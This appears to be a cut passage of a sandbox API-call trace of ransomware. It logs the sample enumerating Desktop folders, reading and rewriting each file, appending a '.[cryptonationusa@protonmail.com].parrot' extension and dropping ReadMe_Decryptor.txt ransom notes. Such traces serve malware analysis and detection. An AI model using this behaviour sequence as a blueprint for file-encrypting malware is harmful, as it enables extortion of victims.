RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b4e0 [0034.218] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b4e0 | out: hHeap=0x5b0000) returned 1 [0034.218] lstrcmpW (lpString1="9D8.mkv.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.218] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x5d2150 [0034.218] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ec6e90, ftCreationTime.dwHighDateTime=0x1d5bf3f, ftLastAccessTime.dwLowDateTime=0xf1711e90, ftLastAccessTime.dwHighDateTime=0x1d5c065, ftLastWriteTime.dwLowDateTime=0xa545ad80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x106f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pFnU6_8T.odp.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="PFNU6_~1.PAR")) returned 1 [0034.218] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e9a18 [0034.219] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9a18 | out: hHeap=0x5b0000) returned 1 [0034.219] lstrcmpW (lpString1="pFnU6_8T.odp.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.219] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x5cc550 [0034.219] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa532a280, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xa532a280, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5519460, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0034.219] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0034.219] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.219] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0034.219] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa532a280, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xa532a280, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5519460, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 0 [0034.219] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0034.219] FindClose (in: hFindFile=0x600410 | out: hFindFile=0x600410) returned 1 [0034.219] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c5e8 | out: hHeap=0x5b0000) returned 1 [0034.219] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2427b00, ftCreationTime.dwHighDateTime=0x1d5b7e3, ftLastAccessTime.dwLowDateTime=0x75d8e8b0, ftLastAccessTime.dwHighDateTime=0x1d5bcc0, ftLastWriteTime.dwLowDateTime=0x75d8e8b0, ftLastWriteTime.dwHighDateTime=0x1d5bcc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WVZA5QXSYIXjs", cAlternateFileName="WVZA5Q~1")) returned 1 [0034.219] lstrcmpW (lpString1="WVZA5QXSYIXjs", lpString2=".") returned 1 [0034.219] lstrcmpW (lpString1="WVZA5QXSYIXjs", lpString2="..") returned 1 [0034.219] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d448 [0034.219] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b4e0 [0034.219] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8e) returned 0x601838 [0034.219] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b4e0 | out: hHeap=0x5b0000) returned 1 [0034.219] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606b58 | out: hHeap=0x5b0000) returned 1 [0034.219] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0034.219] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0034.219] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x60cdc0 [0034.219] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\WVZA5QXSYIXjs\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0034.219] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0034.219] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2427b00, ftCreationTime.dwHighDateTime=0x1d5b7e3, ftLastAccessTime.dwLowDateTime=0x75d8e8b0, ftLastAccessTime.dwHighDateTime=0x1d5bcc0, ftLastWriteTime.dwLowDateTime=0x75d8e8b0, ftLastWriteTime.dwHighDateTime=0x1d5bcc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.220] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0034.220] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0034.220] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82f54dc0, ftCreationTime.dwHighDateTime=0x1d5bd08, ftLastAccessTime.dwLowDateTime=0xb5328940, ftLastAccessTime.dwHighDateTime=0x1d5bcdd, ftLastWriteTime.dwLowDateTime=0xb5328940, ftLastWriteTime.dwHighDateTime=0x1d5bcdd, nFileSizeHigh=0x0, nFileSizeLow=0x102cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="aCImre1nCBH18cI.png", cAlternateFileName="ACIMRE~1.PNG")) returned 1 [0034.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0034.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.220] lstrcmpW (lpString1="aCImre1nCBH18cI.png", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.220] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\WVZA5QXSYIXjs\\aCImre1nCBH18cI.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\wvza5qxsyixjs\\acimre1ncbh18ci.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x264 [0034.220] GetFileSize (in: hFile=0x264, lpFileSizeHigh=0x18f530 | out: lpFileSizeHigh=0x18f530*=0x0) returned 0x102cf [0034.220] LockFile (hFile=0x264, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x103e7, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.220] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.220] ReadFile (in: hFile=0x264, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0034.221] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0034.221] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x102cf, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x102cf, lpOverlapped=0x0) returned 1 [0034.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d49a0 [0034.222] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0034.222] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0034.222] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0034.222] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0034.222] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0034.222] GetLastError () returned 0x0 [0034.222] SetLastError (dwErrCode=0x0) [0034.222] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.222] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2680 [0034.222] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0034.222] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb6c8 [0034.222] GetLastError () returned 0x0 [0034.222] SetLastError (dwErrCode=0x0) [0034.222] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0034.222] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0034.222] GetLastError () returned 0x0 [0034.222] SetLastError (dwErrCode=0x0) [0034.222] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.222] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0034.222] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6069b0 [0034.222] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0034.222] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1033) returned 0x5cce58 [0034.222] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2033) returned 0x5cde98 [0034.222] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0034.222] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4033) returned 0x649228 [0034.222] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x5b0000) returned 1 [0034.222] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8033) returned 0x64d268 [0034.222] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x649228 | out: hHeap=0x5b0000) returned 1 [0034.224] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10033) returned 0x6552a8 [0034.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x64d268 | out: hHeap=0x5b0000) returned 1 [0034.226] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20033) returned 0x6652e8 [0034.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6552a8 | out: hHeap=0x5b0000) returned 1 [0034.227] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf) returned 0x606998 [0034.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6069b0 | out: hHeap=0x5b0000) returned 1 [0034.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606998 | out: hHeap=0x5b0000) returned 1 [0034.227] GetLastError () returned 0x0 [0034.227] SetLastError (dwErrCode=0x0) [0034.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0034.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0034.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2680 | out: hHeap=0x5b0000) returned 1 [0034.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0034.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0034.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0034.227] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x606b58 [0034.227] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x5d1760 [0034.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606b58 | out: hHeap=0x5b0000) returned 1 [0034.227] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0034.227] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d49a0 [0034.227] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4960 [0034.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0034.227] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d49a0 [0034.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0034.227] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0034.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0034.227] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d49a0 [0034.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0034.227] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0034.228] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0034.228] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0034.228] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0034.228] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb6c8 [0034.228] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0034.228] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0034.228] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0034.228] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0034.228] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0034.228] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c75b8 [0034.228] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.228] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b4e0 [0034.228] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x5b0000) returned 1 [0034.228] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x606b58 [0034.228] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b4e0 | out: hHeap=0x5b0000) returned 1 [0034.228] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d18e8 [0034.228] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606b58 | out: hHeap=0x5b0000) returned 1 [0034.228] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5cc638 [0034.228] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d18e8 | out: hHeap=0x5b0000) returned 1 [0034.228] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x60c798 [0034.228] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc638 | out: hHeap=0x5b0000) returned 1 [0034.228] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x6105c0 [0034.228] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0034.228] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d2850 [0034.228] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0034.228] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0034.228] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0034.228] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d4d18 [0034.228] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0034.228] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0034.228] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0034.228] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cce58 [0034.229] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0034.229] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x5ce398 [0034.229] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0034.229] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x649228 [0034.229] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ce398 | out: hHeap=0x5b0000) returned 1 [0034.229] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x64c1c0 [0034.229] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x649228 | out: hHeap=0x5b0000) returned 1 [0034.229] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x650910 [0034.229] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x64c1c0 | out: hHeap=0x5b0000) returned 1 [0034.229] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x6573f0 [0034.229] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x650910 | out: hHeap=0x5b0000) returned 1 [0034.229] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x685328 [0034.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6573f0 | out: hHeap=0x5b0000) returned 1 [0034.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x649228 [0034.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x685328 | out: hHeap=0x5b0000) returned 1 [0034.230] WriteFile (in: hFile=0x264, lpBuffer=0x649240*, nNumberOfBytesToWrite=0x103e8, lpNumberOfBytesWritten=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x649240*, lpNumberOfBytesWritten=0x18f4b4*=0x103e8, lpOverlapped=0x0) returned 1 [0034.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x649228 | out: hHeap=0x5b0000) returned 1 [0034.230] UnlockFile (hFile=0x264, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x103e7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0034.230] CloseHandle (hObject=0x264) returned 1 [0034.232] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x606b58 [0034.232] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x5d18e8 [0034.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606b58 | out: hHeap=0x5b0000) returned 1 [0034.232] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\WVZA5QXSYIXjs\\aCImre1nCBH18cI.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\wvza5qxsyixjs\\acimre1ncbh18ci.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\WVZA5QXSYIXjs\\aCImre1nCBH18cI.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\wvza5qxsyixjs\\acimre1ncbh18ci.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0034.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d18e8 | out: hHeap=0x5b0000) returned 1 [0034.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1760 | out: hHeap=0x5b0000) returned 1 [0034.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6652e8 | out: hHeap=0x5b0000) returned 1 [0034.232] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5e6250 [0034.232] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x606b58 [0034.232] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d49a0 [0034.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0034.233] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\WVZA5QXSYIXjs\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\wvza5qxsyixjs\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f2a8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x264 [0034.233] GetFileType (hFile=0x264) returned 0x1 [0034.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0034.243] lstrcmpW (lpString1="gRYMF77-6Syq0.csv", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.243] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\WVZA5QXSYIXjs\\gRYMF77-6Syq0.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\wvza5qxsyixjs\\grymf77-6syq0.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x264 [0034.243] GetFileSize (in: hFile=0x264, lpFileSizeHigh=0x18f530 | out: lpFileSizeHigh=0x18f530*=0x0) returned 0x154ec [0034.243] LockFile (hFile=0x264, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x15604, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.243] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.243] ReadFile (in: hFile=0x264, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0034.244] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0034.244] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x154ec, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x154ec, lpOverlapped=0x0) returned 1 [0034.245] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d49a0 [0034.245] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0034.245] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0034.245] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0034.245] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0034.245] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0034.245] GetLastError () returned 0x0 [0034.245] SetLastError (dwErrCode=0x0) [0034.245] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.245] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2680 [0034.245] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0034.245] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb6c8 [0034.245] GetLastError () returned 0x0 [0034.245] SetLastError (dwErrCode=0x0) [0034.245] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0034.245] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0034.245] GetLastError () returned 0x0 [0034.245] SetLastError (dwErrCode=0x0) [0034.245] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.245] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0034.245] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606998 [0034.245] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0034.245] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1033) returned 0x5cce58 [0034.245] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2033) returned 0x5cde98 [0034.245] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0034.245] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4033) returned 0x649228 [0034.245] HeapFree (in: 